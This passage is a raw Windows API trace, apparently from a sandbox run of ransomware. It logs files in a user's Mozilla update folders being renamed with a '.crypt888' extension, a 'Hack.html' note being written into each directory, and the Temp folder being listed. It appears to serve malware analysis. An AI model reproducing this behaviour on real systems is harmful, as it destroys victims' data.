hTemplateFile=0x0) returned 0x174 [0077.667] GetFileType (hFile=0x174) returned 0x1 [0077.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0077.667] GetFileType (hFile=0x174) returned 0x1 [0077.669] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", lpFilePart=0x0) returned 0x5e [0077.670] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.crypt888", lpFilePart=0x0) returned 0x67 [0077.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0077.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a2b6d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xbf7d6780, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0077.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0077.670] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml.crypt888")) returned 1 [0077.670] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", lpFilePart=0x0) returned 0x58 [0077.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0077.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.671] GetFileType (hFile=0x174) returned 0x1 [0077.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0077.671] GetFileType (hFile=0x174) returned 0x1 [0077.671] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0x39 [0077.671] ReadFile (in: hFile=0x174, lpBuffer=0x26f0950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x26f0950*, lpNumberOfBytesRead=0x39ec88*=0x39, lpOverlapped=0x0) returned 1 [0077.673] CloseHandle (hObject=0x174) returned 1 [0077.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", lpFilePart=0x0) returned 0x58 [0077.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0077.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.688] GetFileType (hFile=0x174) returned 0x1 [0077.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0077.688] GetFileType (hFile=0x174) returned 0x1 [0077.689] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", lpFilePart=0x0) returned 0x58 [0077.689] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.crypt888", lpFilePart=0x0) returned 0x61 [0077.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0077.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a9daf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8548e650, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xbf822a40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0077.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0077.689] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml.crypt888")) returned 1 [0077.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.690] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates", lpFilePart=0x0) returned 0x54 [0077.690] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\", lpFilePart=0x0) returned 0x55 [0077.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a8a8 [0077.692] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.692] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.692] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.692] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0077.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates", lpFilePart=0x0) returned 0x54 [0077.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\", lpFilePart=0x0) returned 0x55 [0077.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a8a8 [0077.693] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.693] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.693] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.693] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0077.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0077.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0", lpFilePart=0x0) returned 0x56 [0077.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\", lpFilePart=0x0) returned 0x57 [0077.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a8a8 [0077.694] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.694] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.694] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.694] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0077.694] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0077.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0077.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0077.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0077.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0", lpFilePart=0x0) returned 0x56 [0077.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\", lpFilePart=0x0) returned 0x57 [0077.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a8a8 [0077.694] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.695] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.695] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.695] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0077.695] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0077.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0077.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0077.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\Hack.html", lpFilePart=0x0) returned 0x60 [0077.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0077.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.696] GetFileType (hFile=0x174) returned 0x1 [0077.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0077.696] GetFileType (hFile=0x174) returned 0x1 [0077.697] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\Hack.html", lpFilePart=0x0) returned 0x5e [0077.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0077.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.698] GetFileType (hFile=0x174) returned 0x1 [0077.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0077.698] GetFileType (hFile=0x174) returned 0x1 [0077.698] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\Hack.html", lpFilePart=0x0) returned 0x56 [0077.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0077.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.699] GetFileType (hFile=0x174) returned 0x1 [0077.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0077.699] GetFileType (hFile=0x174) returned 0x1 [0077.700] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\Hack.html", lpFilePart=0x0) returned 0x45 [0077.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.700] GetFileType (hFile=0x174) returned 0x1 [0077.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.700] GetFileType (hFile=0x174) returned 0x1 [0077.701] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Hack.html", lpFilePart=0x0) returned 0x3d [0077.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0077.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.701] GetFileType (hFile=0x174) returned 0x1 [0077.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0077.702] GetFileType (hFile=0x174) returned 0x1 [0077.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.702] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x30 [0077.702] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0077.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0077.703] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.703] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.703] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.703] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.703] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.703] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.704] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.704] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.704] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.704] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.704] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.704] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.704] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.705] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.705] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.705] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.705] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.705] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.705] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.705] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.705] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.706] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.707] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.707] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.707] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.707] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.707] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.707] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.707] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.708] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0077.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.708] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x30 [0077.708] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0077.708] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0077.708] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.708] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.709] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 